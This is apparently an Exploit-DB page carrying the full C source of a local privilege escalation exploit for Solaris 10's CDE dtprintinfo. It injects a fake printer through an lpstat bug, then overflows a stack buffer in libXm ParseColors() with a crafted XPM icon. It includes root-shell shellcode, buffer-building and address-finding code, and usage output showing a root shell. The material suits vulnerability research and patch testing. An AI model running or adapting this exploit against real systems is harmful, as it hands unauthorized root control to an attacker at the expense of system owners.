Solaris 10 libXm – Buffer overflow Local privilege escalation

  • 作者: Marco Ivaldi
    日期: 2023-04-03
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/51209/
  • /*
    * Exploit Title: Solaris 10 libXm - Buffer overflow Local privilege escalation 
     * raptor_dtprintlibXmas.c - Solaris 10 CDE #ForeverDay LPE
     * Copyright (c) 2023 Marco Ivaldi <raptor@0xdeadbeef.info>
     *
     * "What has been will be again,
     *what has been done will be done again;
     *there is nothing new under the Sun."
     * -- Ecclesiastes 1:9
     *
     * #Solaris #CDE #0day #ForeverDay #WontFix
     *
     * This exploit illustrates yet another way to abuse the infamous dtprintinfo
     * binary distributed with the Common Desktop Environment (CDE), a veritable
     * treasure trove for bug hunters since the 1990s. It's not the most reliable
     * exploit I've ever written, but I'm quite proud of the new vulnerabilities
     * I've unearthed in dtprintinfo with the latest Solaris patches (CPU January
     * 2021) applied. The exploit chain is structured as follows:
     * 1. Inject a fake printer via the printer injection bug I found in lpstat.
     * 2. Exploit the stack-based buffer overflow I found in libXm ParseColors().
     * 3. Enjoy root privileges!
     *
     * For additional details on my bug hunting journey and on the vulnerabilities
     * themselves, you can refer to the official advisory:
     * https://github.com/0xdea/advisories/blob/master/HNS-2022-01-dtprintinfo.txt
     *
     * Usage:
     * $ gcc raptor_dtprintlibXmas.c -o raptor_dtprintlibXmas -Wall
     * $ ./raptor_dtprintlibXmas 10.0.0.109:0
     * raptor_dtprintlibXmas.c - Solaris 10 CDE #ForeverDay LPE
     * Copyright (c) 2023 Marco Ivaldi <raptor@0xdeadbeef.info>
     * 
     * Using SI_PLATFORM : i86pc (5.10)
     * Using stack base: 0x8047fff
     * Using safe address: 0x8045790
     * Using rwx_mem address : 0xfeffa004
     * Using sc address: 0x8047fb4
     * Using sprintf() address : 0xfefd1250
     * Path of target binary : /usr/dt/bin/dtprintinfo
     * 
     * On your X11 server:
     * 1. Select the "fnord" printer, then click on "Selected" > "Properties".
     * 2. Click on "Find Set" and choose "/tmp/.dt/icons" from the drop-down menu.
     *
     * Back to your original shell:
     * # id
     * uid=0(root) gid=1(other)
     *
     * IMPORTANT NOTE.
     * The buffer overflow corrupts some critical variables in memory, which we
     * need to fix. In order to do so, we must patch the hostile buffer at some
     * fixed locations with the first argument of the last call to ParseColors().
     * The easiest way to get such a safe address is via the special 0x41414141
     * command-line argument and truss, as follows:
     * $ truss -fae -u libXm:: ./raptor_dtprintlibXmas 10.0.0.109:0 0x41414141 2>OUT
     * $ grep ParseColors OUT | tail -1
     * 29181/1@1: -> libXm:ParseColors(0x8045770, 0x3, 0x1, 0x8045724)
     * ^^^^^^^^^ << this is the safe address we need
     *
     * Tested on:
     * SunOS 5.10 Generic_153154-01 i86pc i386 i86pc (CPU January 2021)
     * [previous Solaris versions are also likely vulnerable]
     */
    
    #include <fcntl.h>
    #include <link.h>
    #include <procfs.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <strings.h>
    #include <unistd.h>
    #include <sys/stat.h>
    #include <sys/systeminfo.h>
    
    #define INFO1	"raptor_dtprintlibXmas.c - Solaris 10 CDE #ForeverDay LPE"
    #define INFO2	"Copyright (c) 2023 Marco Ivaldi <raptor@0xdeadbeef.info>"
    
    #define	VULN	"/usr/dt/bin/dtprintinfo"	// vulnerable program
    #define	DEBUG	"/tmp/XXXXXXXXXXXXXXXXXX"	// target for debugging
    #define	BUFSIZE	1106				// size of hostile buffer
    #define PADDING	1				// hostile buffer padding
    #define SAFE	0x08045770			// 1st arg to ParseColors()
    
    char sc[] = /* Solaris/x86 shellcode (8 + 8 + 8 + 27 = 51 bytes) */
    /* triple setuid() */
    "\x31\xc0\x50\x50\xb0\x17\xcd\x91"
    "\x31\xc0\x50\x50\xb0\x17\xcd\x91"
    "\x31\xc0\x50\x50\xb0\x17\xcd\x91"
    /* execve() */
    "\x31\xc0\x50\x68/ksh\x68/bin"
    "\x89\xe3\x50\x53\x89\xe2\x50"
    "\x52\x53\xb0\x3b\x50\xcd\x91";
    
    /* globals */
    char	*arg[2] = {"foo", NULL};
    char	*env[256];
    int	env_pos = 0, env_len = 0;
    
    /* prototypes */
    int	add_env(char *string);
    void	check_bad(int addr, char *name);
    int	get_env_addr(char *path, char **argv);
    int	search_ldso(char *sym);
    int	search_rwx_mem(void);
    void	set_val(char *buf, int pos, int val);
    
    /*
     * main()
     */
    int main(int argc, char **argv)
    {
    	char	buf[BUFSIZE], cmd[1024], *vuln = VULN;
    	char	platform[256], release[256], display[256];
    	int	i, sc_addr, safe_addr = SAFE;
    	FILE	*fp;
    
    	int	sb = ((int)argv[0] | 0xfff);	// stack base
    	int	ret = search_ldso("sprintf");	// sprintf() in ld.so.1
    	int	rwx_mem = search_rwx_mem();	// rwx memory
    
    	/* helper that prints argv[0] address, used by get_env_addr() */
    	if (!strcmp(argv[0], arg[0])) {
    		printf("0x%p\n", argv[0]);
    		exit(0);
    	}
    
    	/* print exploit information */
    	fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2);
    
    	/* process command line */
    	if ((argc < 2) || (argc > 3)) {
    		fprintf(stderr, "usage: %s xserver:display [safe_addr]\n\n",
    		argv[0]);
    		exit(1);
    	}
    	snprintf(display, sizeof(display), "DISPLAY=%s", argv[1]);
    	if (argc > 2) {
    		safe_addr = (int)strtoul(argv[2], (char **)NULL, 0);
    	}
    
    	/* enter debug mode */
    	if (safe_addr == 0x41414141) {
    		unlink(DEBUG);
    		snprintf(cmd, sizeof(cmd), "cp %s %s", VULN, DEBUG);
    		if (system(cmd) == -1) {
    			perror("error creating debug binary");
    			exit(1);
    		}
    		vuln = DEBUG;
    	}
    
    	/* fill envp while keeping padding */
    	add_env("LPDEST=fnord");		// injected printer
    	add_env("HOME=/tmp");			// home directory
    	add_env("PATH=/usr/bin:/bin");		// path
    	sc_addr = add_env(display);		// x11 display
    	add_env(sc);				// shellcode
    	add_env(NULL);
    
    	/* calculate shellcode address */
    	sc_addr += get_env_addr(vuln, argv);
    
    	/* inject a fake printer */
    	unlink("/tmp/.printers");
    	unlink("/tmp/.printers.new");
    	if (!(fp = fopen("/tmp/.printers", "w"))) {
    		perror("error injecting a fake printer");
    		exit(1);
    	}
    	fprintf(fp, "fnord :\n");
    	fclose(fp);
    	link("/tmp/.printers", "/tmp/.printers.new");
    
    	/* craft the hostile buffer */
    	bzero(buf, sizeof(buf));
    	for (i = PADDING; i < BUFSIZE - 16; i += 4) {
    		set_val(buf, i, ret);		// sprintf()
    		set_val(buf, i += 4, rwx_mem);	// saved eip
    		set_val(buf, i += 4, rwx_mem);	// 1st arg
    		set_val(buf, i += 4, sc_addr);	// 2nd arg
    	}
    	memcpy(buf, "\"c c ", 5);		// beginning of hostile buffer
    	buf[912] = ' ';				// string separator
    	set_val(buf, 1037, safe_addr);		// safe address
    	set_val(buf, 1065, safe_addr);		// safe address
    	set_val(buf, 1073, 0xffffffff);		// -1
    
    	/* create the hostile XPM icon files */
    	system("rm -fr /tmp/.dt");
    	mkdir("/tmp/.dt", 0755);
    	mkdir("/tmp/.dt/icons", 0755);
    	if (!(fp = fopen("/tmp/.dt/icons/fnord.m.pm", "w"))) {
    		perror("error creating XPM icon files");
    		exit(1);
    	}
    	fprintf(fp, "/* XPM */\nstatic char *xpm[] = {\n\"8 8 3 1\",\n%s", buf);
    	fclose(fp);
    	link("/tmp/.dt/icons/fnord.m.pm", "/tmp/.dt/icons/fnord.l.pm");
    	link("/tmp/.dt/icons/fnord.m.pm", "/tmp/.dt/icons/fnord.t.pm");
    
    	/* print some output */
    	sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1);
    	sysinfo(SI_RELEASE, release, sizeof(release) - 1);
    	fprintf(stderr, "Using SI_PLATFORM\t: %s (%s)\n", platform, release);
    	fprintf(stderr, "Using stack base\t: 0x%p\n", (void *)sb);
    	fprintf(stderr, "Using safe address\t: 0x%p\n", (void *)safe_addr);
    	fprintf(stderr, "Using rwx_mem address\t: 0x%p\n", (void *)rwx_mem);
    	fprintf(stderr, "Using sc address\t: 0x%p\n", (void *)sc_addr);
    	fprintf(stderr, "Using sprintf() address\t: 0x%p\n", (void *)ret);
    	fprintf(stderr, "Path of target binary\t: %s\n\n", vuln);
    
    	/* check for badchars */
    	check_bad(safe_addr, "safe address");
    	check_bad(rwx_mem, "rwx_mem address");
    	check_bad(sc_addr, "sc address");
    	check_bad(ret, "sprintf() address");
    
    	/* run the vulnerable program */
    	execve(vuln, arg, env);
    	perror("execve");
    	exit(0);
    }
    
    /*
     * add_env(): add a variable to envp and pad if needed
     */
    int add_env(char *string)
    {
    	int	i;
    
    	/* null termination */
    	if (!string) {
    		env[env_pos] = NULL;
    		return env_len;
    	}
    
    	/* add the variable to envp */
    	env[env_pos] = string;
    	env_len += strlen(string) + 1;
    	env_pos++;
    
    	/* pad envp using zeroes */
    	if ((strlen(string) + 1) % 4)
    		for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) {
    			env[env_pos] = string + strlen(string);
    			env_len++;
    		}
    
    	return env_len;
    }
    
    /*
     * check_bad(): check an address for the presence of badchars
     */
    void check_bad(int addr, char *name)
    {
    	int	i, bad[] = {0x00, 0x09, 0x20}; // NUL, HT, SP
    
    	for (i = 0; i < sizeof(bad) / sizeof(int); i++) {
    		if (((addr & 0xff) == bad[i]) || 
    	((addr & 0xff00) == bad[i]) ||
    		((addr & 0xff0000) == bad[i]) || 
    		((addr & 0xff000000) == bad[i])) {
    			fprintf(stderr, "error: %s contains a badchar\n", name);
    			exit(1);
    		}
    	}
    }
    
    /*
     * get_env_addr(): get environment address using a helper program
     */
    int get_env_addr(char *path, char **argv)
    {
    	char	prog[] = "./AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
    	char	hex[11];
    	int	fd[2], addr;
    
    	/* truncate program name at correct length and create a hard link */
    	prog[strlen(path)] = '\0';
    	unlink(prog);
    	link(argv[0], prog);
    
    /* open pipe to read program output */
    	if (pipe(fd) == -1) {
    		perror("pipe");
    		exit(1);
    	}
    
    	switch(fork()) {
    
    	case -1: /* cannot fork */
    		perror("fork");
    		exit(1);
    
    	case 0: /* child */
    		dup2(fd[1], 1);
    		close(fd[0]);
    		close(fd[1]);
    		execve(prog, arg, env);
    		perror("execve");
    		exit(1);
    
    	default: /* parent */
    		close(fd[1]);
    		read(fd[0], hex, sizeof(hex));
    		break;
    	}
    
    	/* check address */
    	if (!(addr = (int)strtoul(hex, (char **)NULL, 0))) {
    		fprintf(stderr, "error: cannot read address from helper\n");
    		exit(1);
    	}
    
    	return addr + strlen(arg[0]) + 1;
    }
    
    /*
     * search_ldso(): search for a symbol inside ld.so.1
     */
    int search_ldso(char *sym)
    {
    	int		addr;
    	void		*handle;
    	Link_map	*lm;
    
    	/* open the executable object file */
    	if ((handle = dlmopen(LM_ID_LDSO, NULL, RTLD_LAZY)) == NULL) {
    		perror("dlopen");
    		exit(1);
    	}
    
    	/* get dynamic load information */
    	if ((dlinfo(handle, RTLD_DI_LINKMAP, &lm)) == -1) {
    		perror("dlinfo");
    		exit(1);
    	}
    
    	/* search for the address of the symbol */
    	if ((addr = (int)dlsym(handle, sym)) == NULL) {
    		fprintf(stderr, "sorry, function %s() not found\n", sym);
    		exit(1);
    	}
    
    	/* close the executable object file */
    	dlclose(handle);
    
    	return addr;
    }
    
    /*
     * search_rwx_mem(): search for an RWX memory segment valid for all
     * programs (typically, /usr/lib/ld.so.1) using the proc filesystem
     */
    int search_rwx_mem(void)
    {
    	int	fd;
    	char	tmp[16];
    	prmap_t	map;
    	int	addr = 0, addr_old;
    
    	/* open the proc filesystem */
    	sprintf(tmp,"/proc/%d/map", (int)getpid());
    	if ((fd = open(tmp, O_RDONLY)) < 0) {
    		fprintf(stderr, "can't open %s\n", tmp);
    		exit(1);
    	}
    
    	/* search for the last RWX memory segment before stack (last - 1) */
    	while (read(fd, &map, sizeof(map)))
    		if (map.pr_vaddr)
    			if (map.pr_mflags & (MA_READ | MA_WRITE | MA_EXEC)) {
    				addr_old = addr;
    				addr = map.pr_vaddr;
    			}
    	close(fd);
    
    	/* add 4 to the exact address NUL bytes */
    	if (!(addr_old & 0xff))
    		addr_old |= 0x04;
    	if (!(addr_old & 0xff00))
    		addr_old |= 0x0400;
    
    	return addr_old;
    }
    
    /*
     * set_val(): copy a dword inside a buffer (little endian)
     */
    void set_val(char *buf, int pos, int val)
    {
    	buf[pos] =	(val & 0x000000ff);
    	buf[pos + 1] =	(val & 0x0000ff00) >> 8;
    	buf[pos + 2] =	(val & 0x00ff0000) >> 16;
    	buf[pos + 3] =	(val & 0xff000000) >> 24;
    }